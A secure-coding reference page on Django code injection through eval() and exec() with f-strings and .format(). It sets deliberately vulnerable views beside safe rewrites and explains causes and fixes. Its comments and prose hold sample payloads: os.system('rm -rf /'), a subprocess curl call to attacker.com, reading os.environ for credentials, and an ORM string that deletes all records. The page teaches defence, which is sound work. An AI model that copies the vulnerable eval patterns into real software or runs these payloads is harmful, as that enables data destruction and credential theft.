Django Code Injection via eval() with Format Strings

Critical Risk Code Injection
djangopythoncode-injectionevalformat-stringstring-formatting

What it is

The Django application uses eval() function with user-controlled format strings, creating code injection vulnerabilities. This occurs when user input is inserted into format strings that are then evaluated, allowing attackers to inject malicious code through format string manipulation and execute arbitrary Python code.

# Vulnerable: eval() with format strings and user input from django.http import JsonResponse from django.views import View from django.shortcuts import render # Extremely dangerous: eval() with f-string class DynamicCalculatorView(View): def get(self, request): var_name = request.GET.get('var', 'x') var_value = request.GET.get('value', '0') expression = request.GET.get('expr', 'x + 1') try: # CRITICAL: eval() with f-string containing user input code = f"{var_name} = {var_value}; result = {expression}" result = eval(code) return JsonResponse({'result': result}) except Exception as e: return JsonResponse({'error': str(e)}) # Another dangerous pattern with .format() def process_user_formula(request): formula_template = request.POST.get('template', '') user_vars = request.POST.get('variables', {}) try: # Dangerous: format() with user input in eval() formatted_code = formula_template.format(**user_vars) result = eval(formatted_code) return JsonResponse({'result': result}) except Exception as e: return JsonResponse({'error': str(e)}) # Template injection through eval def render_dynamic_content(request): template_str = request.POST.get('template', '') context_vars = request.POST.get('context', {}) # Dangerous: eval() with formatted template try: # User can inject: {__import__('os').system('rm -rf /')} rendered_template = template_str.format(**context_vars) result = eval(f"f'{rendered_template}'") return JsonResponse({'rendered': result}) except Exception as e: return JsonResponse({'error': str(e)}) # Configuration processing with format strings def update_dynamic_config(request): config_template = request.POST.get('config_template', '') config_values = request.POST.get('values', {}) try: # Dangerous: eval() with formatted configuration config_code = config_template.format(**config_values) # Execute configuration code exec(config_code) return JsonResponse({'status': 'config_updated'}) except Exception as e: return JsonResponse({'error': str(e)}) # Query generation with format strings def dynamic_query_builder(request): query_template = request.GET.get('query', '') query_params = request.GET.get('params', {}) try: # Dangerous: eval() for query building query_code = query_template.format(**query_params) # Execute query code result = eval(query_code) return JsonResponse({'data': list(result)}) except Exception as e: return JsonResponse({'error': str(e)}) # Mathematical expression with variables def evaluate_math_expression(request): expression = request.POST.get('expression', '') variables = request.POST.get('variables', {}) # Dangerous: format() + eval() combination try: # User input: expression = "{a} + {b}" # variables = {"a": "__import__('os').system('whoami')", "b": "1"} formatted_expr = expression.format(**variables) result = eval(formatted_expr) return JsonResponse({'result': result}) except Exception as e: return JsonResponse({'error': str(e)})
# Secure: Safe alternatives to eval() with format strings from django.http import JsonResponse from django.views import View from django.shortcuts import render from django.template import Template, Context from django.core.exceptions import ValidationError import json import re import ast import operator # Safe: Structured calculator without eval() class SafeDynamicCalculatorView(View): def get(self, request): var_name = request.GET.get('var', '') var_value = request.GET.get('value', '') operation = request.GET.get('operation', '') operand = request.GET.get('operand', '') try: # Validate inputs validated_data = self.validate_calculator_inputs( var_name, var_value, operation, operand ) # Safe calculation result = self.safe_calculate(validated_data) return JsonResponse({'result': result}) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) def validate_calculator_inputs(self, var_name, var_value, operation, operand): # Validate variable name if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', var_name): raise ValidationError('Invalid variable name') # Validate numeric values try: value = float(var_value) operand_val = float(operand) except ValueError: raise ValidationError('Invalid numeric values') # Validate operation allowed_operations = ['+', '-', '*', '/', '**'] if operation not in allowed_operations: raise ValidationError('Operation not allowed') return { 'var_name': var_name, 'value': value, 'operation': operation, 'operand': operand_val } def safe_calculate(self, data): operations = { '+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv, '**': operator.pow } op_func = operations[data['operation']] return op_func(data['value'], data['operand']) # Safe: Template processing without eval() def safe_process_user_formula(request): try: formula_data = json.loads(request.body) # Validate structure validated_data = validate_formula_data(formula_data) # Safe processing result = process_formula_safely(validated_data) return JsonResponse({'result': result}) except (json.JSONDecodeError, ValidationError) as e: return JsonResponse({'error': 'Invalid formula data'}, status=400) def validate_formula_data(data): required_fields = ['operation', 'operands'] if not all(field in data for field in required_fields): raise ValidationError('Missing required fields') # Validate operation allowed_operations = ['add', 'subtract', 'multiply', 'divide'] if data['operation'] not in allowed_operations: raise ValidationError('Operation not allowed') # Validate operands operands = data['operands'] if not isinstance(operands, list) or len(operands) < 2: raise ValidationError('Invalid operands') # Ensure all operands are numbers validated_operands = [] for operand in operands: try: validated_operands.append(float(operand)) except (ValueError, TypeError): raise ValidationError('All operands must be numbers') return { 'operation': data['operation'], 'operands': validated_operands } def process_formula_safely(data): operation = data['operation'] operands = data['operands'] if operation == 'add': return sum(operands) elif operation == 'subtract': result = operands[0] for operand in operands[1:]: result -= operand return result elif operation == 'multiply': result = 1 for operand in operands: result *= operand return result elif operation == 'divide': result = operands[0] for operand in operands[1:]: if operand == 0: raise ValidationError('Division by zero') result /= operand return result # Safe: Django template system for dynamic content def safe_render_dynamic_content(request): template_name = request.POST.get('template_name', '') context_data = request.POST.get('context', '{}') # Validate template name allowed_templates = [ 'user_greeting.txt', 'order_summary.txt', 'notification.txt' ] if template_name not in allowed_templates: return JsonResponse({'error': 'Template not allowed'}, status=400) try: # Safe: JSON deserialization context = json.loads(context_data) # Validate context validated_context = validate_template_context(context) # Safe: Django template system from django.template.loader import get_template template = get_template(template_name) rendered = template.render(validated_context) return JsonResponse({'rendered': rendered}) except (json.JSONDecodeError, ValidationError) as e: return JsonResponse({'error': 'Template rendering failed'}, status=400) def validate_template_context(context): if not isinstance(context, dict): raise ValidationError('Context must be a dictionary') allowed_keys = {'user_name', 'order_id', 'amount', 'items', 'date'} validated = {} for key, value in context.items(): if key in allowed_keys: if key == 'user_name' and isinstance(value, str): validated[key] = value[:50] # Limit length elif key == 'order_id' and isinstance(value, (str, int)): validated[key] = str(value)[:20] elif key == 'amount' and isinstance(value, (int, float)): validated[key] = round(float(value), 2) elif key == 'items' and isinstance(value, list): validated[key] = value[:10] # Limit items elif key == 'date' and isinstance(value, str): # Simple date validation if re.match(r'^\d{4}-\d{2}-\d{2}$', value): validated[key] = value return validated # Safe: Configuration updates without eval() def safe_update_dynamic_config(request): try: config_data = json.loads(request.body) # Validate configuration validated_config = validate_config_data(config_data) # Apply configuration safely apply_configuration(validated_config) return JsonResponse({'status': 'config_updated'}) except (json.JSONDecodeError, ValidationError) as e: return JsonResponse({'error': 'Configuration update failed'}, status=400) def validate_config_data(data): if not isinstance(data, dict): raise ValidationError('Configuration must be a dictionary') allowed_configs = { 'max_items': int, 'timeout': int, 'debug_mode': bool, 'allowed_domains': list } validated = {} for key, value in data.items(): if key in allowed_configs: expected_type = allowed_configs[key] if isinstance(value, expected_type): # Additional validation if key == 'max_items' and 1 <= value <= 1000: validated[key] = value elif key == 'timeout' and 1 <= value <= 300: validated[key] = value elif key == 'debug_mode': validated[key] = bool(value) elif key == 'allowed_domains' and isinstance(value, list): # Validate domain list domains = [] for domain in value[:10]: # Limit domains if isinstance(domain, str) and re.match(r'^[a-zA-Z0-9.-]+$', domain): domains.append(domain) validated[key] = domains return validated # Safe: Query building with ORM def safe_dynamic_query_builder(request): model_name = request.GET.get('model', '') filter_field = request.GET.get('field', '') filter_value = request.GET.get('value', '') order_by = request.GET.get('order', '') # Use allowlists for everything allowed_models = { 'user': User, 'post': Post, 'comment': Comment } allowed_fields = { 'user': ['username', 'email', 'date_joined'], 'post': ['title', 'status', 'created_at'], 'comment': ['content', 'approved', 'created_at'] } allowed_order_fields = { 'user': ['username', 'date_joined'], 'post': ['title', 'created_at'], 'comment': ['created_at'] } # Validate inputs if model_name not in allowed_models: return JsonResponse({'error': 'Model not allowed'}, status=400) if filter_field not in allowed_fields.get(model_name, []): return JsonResponse({'error': 'Field not allowed'}, status=400) if order_by and order_by not in allowed_order_fields.get(model_name, []): return JsonResponse({'error': 'Order field not allowed'}, status=400) try: model_class = allowed_models[model_name] # Safe: Django ORM query queryset = model_class.objects.filter(**{filter_field: filter_value}) if order_by: queryset = queryset.order_by(order_by) # Limit results results = queryset[:100] # Serialize safely data = [] for obj in results: data.append({ 'id': obj.id, filter_field: getattr(obj, filter_field) }) return JsonResponse({'data': data}) except Exception as e: return JsonResponse({'error': 'Query failed'}, status=400)

💡 Why This Fix Works

See fix suggestions for detailed explanation.

Why it happens

Django views, utilities, or business logic use Python's eval() function on strings constructed with f-strings or .format() methods that embed user-controlled data, enabling attackers to inject malicious code through format string manipulation. The pattern code = f"{user_var} = {user_value}"; eval(code) allows attackers to control both variable names and values: user_var = '__import__("os").system("rm -rf /")' injects code execution when the f-string is evaluated. Django views accepting mathematical expressions format user input into evaluation strings: expression = f"result = {request.GET['expr']}"; eval(expression) enables injection like expr = '__import__("subprocess").run(["curl", "attacker.com"])'. The .format() method suffers identical vulnerabilities: code_template = "x = {}; y = {}"; formatted = code_template.format(request.POST['x'], request.POST['y']); eval(formatted) executes attacker-controlled code embedded in POST parameters. Calculator or formula evaluation features using format strings: eval(f"math.sqrt({user_number})") allows injection through user_number = '__import__("os").environ' accessing environment variables containing credentials. Django management commands that accept parameters and format them into eval() calls: eval(f"process_{command_type}('{user_input}')") enables command injection through both command_type and user_input parameters. Template rendering that uses format strings before eval(): template.format(**request.GET); eval(template) allows query parameter injection into code execution context.

Root causes

Using eval() with f-strings or .format() Containing User Input

Django views, utilities, or business logic use Python's eval() function on strings constructed with f-strings or .format() methods that embed user-controlled data, enabling attackers to inject malicious code through format string manipulation. The pattern code = f"{user_var} = {user_value}"; eval(code) allows attackers to control both variable names and values: user_var = '__import__("os").system("rm -rf /")' injects code execution when the f-string is evaluated. Django views accepting mathematical expressions format user input into evaluation strings: expression = f"result = {request.GET['expr']}"; eval(expression) enables injection like expr = '__import__("subprocess").run(["curl", "attacker.com"])'. The .format() method suffers identical vulnerabilities: code_template = "x = {}; y = {}"; formatted = code_template.format(request.POST['x'], request.POST['y']); eval(formatted) executes attacker-controlled code embedded in POST parameters. Calculator or formula evaluation features using format strings: eval(f"math.sqrt({user_number})") allows injection through user_number = '__import__("os").environ' accessing environment variables containing credentials. Django management commands that accept parameters and format them into eval() calls: eval(f"process_{command_type}('{user_input}')") enables command injection through both command_type and user_input parameters. Template rendering that uses format strings before eval(): template.format(**request.GET); eval(template) allows query parameter injection into code execution context.

String Formatting in eval() Expressions with Untrusted Data

Django applications construct Python code strings using percent formatting, str.format(), or f-strings with untrusted data from requests, databases, or external sources, then execute these formatted strings through eval() creating code injection vulnerabilities. Percent formatting patterns like eval('result = %s + %s' % (a, b)) enable injection when a or b contain code: a = '__import__("os").system("whoami")' executes during evaluation. Configuration-driven code execution using string templates: config_code = config_template % user_values; eval(config_code) trusts user_values without validation, allowing code injection through configuration. API endpoints that accept computation templates: template = request.data['formula']; values = request.data['params']; eval(template.format(**values)) enables attackers to inject code through both template structure and parameter values. Dynamic query builders using format strings: query_code = "Model.objects.filter({field}={value})".format(field=user_field, value=user_value); eval(query_code) allows injection through field names like field = 'id__gt=0) or Model.objects.all().delete() or Model.objects.filter(id'. Batch processing that formats records into executable code: for record in records: eval(f"process('{record['action']}', {record['data']})") executes code embedded in database records if attacker populates action or data fields. Format string injection combined with Django template variables: eval("{{variable}}".format(variable=request.session['user_input'])) chains template syntax with code evaluation.

Template String Evaluation with User-Controlled Variables

Django applications use string.Template, custom template systems, or format string operations with user-controlled variables that are subsequently evaluated with eval(), enabling template injection attacks that lead to code execution. The string.Template class combined with eval(): from string import Template; t = Template('result = $var'); code = t.substitute(var=user_input); eval(code) allows attackers to inject code through $var substitution. Custom template languages that expand user variables: template_engine.render(user_template, user_context); eval(rendered) executes attacker-controlled templates. Django template tags that use eval() internally: custom template filters calling eval(filter_expression.format(value=user_data)) enable injection through template context. Jinja2 or Django template context passed to eval(): context = {'user_data': request.POST['data']}; eval(Template(template_string).render(context)) allows code injection if template_string is user-controlled. Report generators using template variables in eval(): report_template = "Total = {total}"; eval(report_template.format(total=user_calculation)) enables injection through user_calculation parameter. Data transformation pipelines: transform_code = transformation_template.format(**record); eval(transform_code) executes code from database records if attackers control record fields. Macro expansion systems: macro_result = expand_macros(user_input); eval(macro_result) enables injection when macro expansion includes user data without escaping.

Dynamic Code Generation Using Format Strings

Django applications generate Python code dynamically using format strings to construct function definitions, class declarations, or executable statements, then execute generated code with eval() or exec(), allowing attackers to inject malicious code through format parameters. Function generation patterns: func_code = f"def {func_name}(x): return {func_body}"; exec(func_code) allows injection through func_name or func_body from user input. Class definition generation: class_code = "class {name}({base}): {methods}".format(name=user_name, base=user_base, methods=user_methods); exec(class_code) enables arbitrary code execution through class structure. ORM query building with string formatting: query = f"Model.objects.filter({user_field}__icontains='{user_value}').{user_operation}()"; eval(query) allows injection through field names, values, or operations. API versioning or feature flags using dynamic code: feature_code = f"enable_{feature_name}({feature_config})"; eval(feature_code) enables injection through feature names or configurations. Plugin or extension systems: plugin_code = plugin_template.format(plugin_name=name, plugin_init=init_code); exec(plugin_code) allows code injection through plugin parameters. Code scaffolding or auto-generation tools: generated = code_template.format(**user_specs); exec(generated) executes attacker-controlled specifications. Dynamic import statements: import_code = f"from {module} import {name}"; exec(import_code) enables import injection if module or name are user-controlled.

Combining User Input with Code Templates Through String Formatting

Django applications merge user input with predefined code templates using format strings, creating hybrid code that appears partially safe but contains exploitable injection points where user data becomes executable code. Hybrid template patterns: safe_prefix + user_input + safe_suffix formatted together: code = f"safe_function({user_param})"; eval(code) appears safe but user_param = '); malicious_code(); safe_function(' breaks out of function call. Multi-step formatting: intermediate = template1.format(user_data); final = template2.format(intermediate); eval(final) chains format operations where user_data in first template influences second template evaluation. Conditional code generation: if condition: code = format1.format(user_input); else: code = format2.format(user_input); eval(code) allows injection regardless of branch taken. Nested format strings: outer_template.format(inner=inner_template.format(user_value)); eval(outer_template) enables nested injection through user_value. Parameter substitution in DSLs: dsl_code = dsl_template.format(**user_params); compile_and_eval(dsl_code) trusts user parameters in domain-specific language compilation. Configuration merging: config_code = base_config + "\n" + user_config.format(**user_values); exec(config_code) combines safe base with unsafe user configuration. String interpolation chains: Template("stage1").substitute(a=user_a).format(b=user_b); eval(result) enables injection through multiple substitution points in pipeline.

Fixes

1

Never Use eval() with Format Strings Containing User Input

Completely eliminate all patterns that combine eval() with format strings (f-strings, .format(), % formatting) containing user-controlled data, treating this combination as a critical security violation requiring immediate remediation. Remove all code matching patterns like eval(f"{user_data}"), eval(template.format(**user_dict)), or eval(code % user_values) which enable trivial code injection regardless of input validation. Audit codebase for eval() usage: grep -r 'eval\(' finds all instances, examine each for format string combination, flag any that process user input for replacement. Replace calculator/formula evaluation using eval() with safe alternatives: use ast.literal_eval() for simple literals, simpleeval library for mathematical expressions, or implement custom parsers that validate syntax before evaluation without executing code. For configuration or template processing, use Django's template engine, Jinja2 with autoescape, or JSON for structured data rather than formatting strings into code. Implement code review requirements: any pull request containing eval() must justify its necessity, demonstrate absence of user input, and receive explicit security team approval. Configure static analysis tools (Bandit, Semgrep, CodeQL) to flag eval() as blocking error in CI/CD pipelines: create rules detecting eval() combined with format operations specifically. Document eval() prohibition in coding standards: establish team policy completely banning eval() with format strings, providing safe alternatives for common use cases like math evaluation, template rendering, or configuration processing. For legacy code containing eval() patterns, create deprecation plan: identify all instances, prioritize by user input proximity, implement safe replacements incrementally, track progress in technical debt backlog.

2

Use Safe String Templating with Django's Template System

Replace format string evaluation with Django's template system that provides safe variable substitution, automatic escaping, and restricted template language preventing code execution. Use Django templates for dynamic content: from django.template import Template, Context; template = Template('Result: {{ value }}'); rendered = template.render(Context({'value': user_input})) safely substitutes variables without code execution. Configure template settings for maximum security: TEMPLATES = [{'OPTIONS': {'autoescape': True, 'string_if_invalid': ''}}] enables automatic HTML escaping and safe invalid variable handling. Use template filters for transformations: {{ value|upper|truncatewords:10 }} applies predefined safe transformations rather than arbitrary code execution. Create custom template filters for business logic: @register.filter def calculate_total(value): return safe_calculation(value) encapsulates logic in Python functions with validation rather than evaluating user strings. Leverage template tags for complex operations: {% custom_tag user_param %} delegates to controlled Python code preventing direct code injection through templates. Use get_template() for file-based templates: template = get_template('calculation.html'); template.render(context) separates template structure from data, preventing template injection. For API responses, use Django REST Framework serializers: class CalculationSerializer(serializers.Serializer): expression = serializers.CharField(); result = serializers.FloatField() validates and structures data without code evaluation. Implement template sandboxing: restrict available template variables and filters to explicitly allowed sets, use custom template engines with limited functionality for user-provided templates.

3

Validate and Sanitize All User Input Before String Operations

Implement comprehensive input validation before any string formatting or template operations, using allowlists, regular expressions, type checking, and length limits to ensure user input cannot inject code even if format strings are used. Define strict input validation schemas: use JSON Schema, Pydantic models, or Django forms to validate structure and types before formatting: schema = {'type': 'object', 'properties': {'expr': {'type': 'string', 'pattern': '^[0-9+\-*/() ]+$'}}}; jsonschema.validate(user_input, schema) ensures mathematical expressions contain only safe characters. Implement character allowlists for string inputs: SAFE_CHARS = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 '); if not all(c in SAFE_CHARS for c in user_input): raise ValidationError('Invalid characters') blocks injection attempts. Use regular expressions for format validation: if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', variable_name): raise ValidationError('Invalid variable name') ensures identifiers don't contain code injection sequences. Apply length limits to all inputs: MAX_LENGTH = 100; if len(user_input) > MAX_LENGTH: raise ValidationError('Input too long') prevents excessively long malicious payloads. Validate numeric inputs with type conversion: try: value = float(user_input); except ValueError: raise ValidationError('Must be numeric') ensures data type matches expectations. For enumerated values, use strict allowlists: ALLOWED_OPERATIONS = {'add', 'subtract', 'multiply', 'divide'}; if operation not in ALLOWED_OPERATIONS: raise ValidationError('Operation not allowed') restricts to predefined safe values. Escape special characters if formatting unavoidable: import html; escaped = html.escape(user_input) prevents HTML injection, though avoiding eval() entirely is strongly preferred. Log validation failures: capture rejected inputs with sanitized samples to security monitoring for attack pattern detection.

4

Use Allowlists for Permitted Values in String Formatting

Implement strict allowlist-based validation where only explicitly permitted values can be used in string formatting contexts, preventing code injection by restricting input to known-safe values. Define operation allowlists for calculators: ALLOWED_OPERATIONS = {'+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv}; if operation not in ALLOWED_OPERATIONS: raise ValidationError('Invalid operation'); result = ALLOWED_OPERATIONS[operation](a, b) maps user input to safe functions without eval(). Create field name allowlists for dynamic queries: ALLOWED_FIELDS = {'username', 'email', 'date_joined', 'is_active'}; if field_name not in ALLOWED_FIELDS: raise ValidationError('Field not allowed'); queryset.filter(**{field_name: value}) restricts queries to permitted fields. Use function name allowlists for dynamic dispatch: ALLOWED_FUNCTIONS = {'calculate_sum': calculate_sum, 'calculate_avg': calculate_avg}; if func_name not in ALLOWED_FUNCTIONS: raise ValidationError('Function not allowed'); result = ALLOWED_FUNCTIONS[func_name](data) invokes predefined functions without eval(). Implement model allowlists for dynamic model access: ALLOWED_MODELS = {'User': User, 'Post': Post, 'Comment': Comment}; if model_name not in ALLOWED_MODELS: raise ValidationError('Model not allowed'); Model = ALLOWED_MODELS[model_name] safely retrieves models. For template variables, allowlist context keys: ALLOWED_CONTEXT = {'user_name', 'order_id', 'total', 'date'}; context = {k: v for k, v in user_context.items() if k in ALLOWED_CONTEXT} filters context to safe keys. Create configuration allowlists: ALLOWED_CONFIGS = {'max_items': int, 'timeout': int, 'debug': bool}; validated_config = {k: ALLOWED_CONFIGS[k](v) for k, v in config.items() if k in ALLOWED_CONFIGS} validates both keys and value types. Document allowlist rationale: maintain security documentation explaining why each value is permitted, review allowlists during security audits, update when adding new features.

5

Implement Safe Expression Evaluation Without eval()

Replace eval() with safe expression evaluation libraries and techniques that parse, validate, and execute mathematical or logical expressions without arbitrary code execution capabilities. Use ast.literal_eval() for literal values: value = ast.literal_eval(user_input) safely evaluates strings, numbers, tuples, lists, dicts, booleans, and None without executing code or calling functions. Implement simpleeval library for math expressions: from simpleeval import simple_eval; result = simple_eval(user_expression, functions={'sqrt': math.sqrt, 'log': math.log}) provides calculator functionality with restricted function set. Use asteval for advanced safe evaluation: from asteval import Interpreter; aeval = Interpreter(); aeval.symtable['allowed_func'] = safe_function; result = aeval(user_expression) creates sandboxed evaluation environment with explicit function allowlists. Build custom AST validators: parse expressions with ast.parse(), walk the AST validating all nodes against allowlists (ast.BinOp, ast.UnaryOp, ast.Num allowed; ast.Call, ast.Import forbidden), compile and evaluate only validated trees: tree = ast.parse(expr, mode='eval'); validate_ast(tree); result = eval(compile(tree, '<string>', 'eval')). For Django query expressions, use Q objects and F expressions: from django.db.models import Q, F; queryset.filter(Q(**{field: value}) & Q(count__gt=F('threshold'))) safely builds queries without eval(). Implement domain-specific language (DSL) parsers: create grammar for allowed operations using libraries like pyparsing or lark, parse user input into AST, execute validated AST without eval(). Use Python's operator module for safe operations: import operator; ops = {'+': operator.add, '-': operator.sub}; result = ops[user_op](a, b) performs arithmetic without code execution. For complex logic, compile user expressions to data structures: parse expression into decision tree or state machine, execute tree traversal rather than code evaluation.

6

Use Structured Data Instead of Dynamic Code Generation

Redesign application architecture to use structured data formats (JSON, XML, YAML) and configuration files instead of dynamically generating and executing Python code, eliminating code injection attack surface entirely. Replace code templates with JSON configuration: instead of generating Python functions, define behavior in JSON: {'operation': 'calculate', 'method': 'sum', 'fields': ['quantity', 'price']} describes calculation declaratively, Python code reads JSON and executes predefined logic without eval(). Use Django's declarative patterns: define views as classes, configure URL routing in urls.py, specify model fields in models.py rather than generating code strings—leverage Django's built-in code structure rather than creating code dynamically. Implement plugin systems with import mechanisms: use importlib.import_module(validated_module_name) to load plugins from allowlisted modules rather than generating plugin code with exec(), validate module names against filesystem or package registry before import. For API versioning, use view dispatch: VERSION_HANDLERS = {'v1': v1_view, 'v2': v2_view}; handler = VERSION_HANDLERS.get(api_version); return handler(request) routes to version-specific code without eval(). Store business rules as data: define validation rules, calculation formulas, or workflow logic in database tables or configuration files as structured data, implement rule engine that interprets data rather than executing code strings. Use Django REST Framework for API configuration: class CalculatorViewSet(viewsets.ViewSet): serializer_class = CalculationSerializer; permission_classes = [AllowAny] defines API structure declaratively without code generation. Implement feature flags with settings: FEATURES = {'advanced_calc': True, 'export': False}; if settings.FEATURES['advanced_calc']: enable_feature() controls features through configuration not code generation. For report templates, use templating engines: store report formats as Jinja2/Django templates, populate with data from queries, render to output formats without executing generated code.

Detect This Vulnerability in Your Code

Sourcery automatically identifies django code injection via eval() with format strings and many other security issues in your codebase.